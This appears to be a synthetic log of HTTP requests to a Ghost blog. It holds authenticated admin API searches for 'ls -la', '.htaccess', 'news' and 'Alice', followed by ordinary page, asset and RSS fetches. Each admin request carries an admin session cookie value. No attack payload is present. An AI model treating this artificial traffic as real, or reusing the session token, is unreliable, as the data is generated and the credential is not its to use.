{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27ls+-la%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27.htaccess%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27news%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=news&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27Alice%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=Alice&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Ashell-tips-htaccess%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Anews%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/built/screen.css?v=xPGozQS2SFMZDlmQ", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/cards.min.css?v=WwnU9jw5ancNC8Gc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/built/source.js?v=33sa4-qy5thAFPQH", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/fonts/inter-roman.woff2?v=OecsB5TBLy27FKD2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/cards.min.js?v=mLGdiz8Ij-Hk3ydN", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/comment-counts.min.js?v=oFYkaGLdiMqB8VN9", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/member-attribution.min.js?v=AKG4hWena9j3yX3I", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w320/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/post.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w1200/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/python3/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/powershell/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
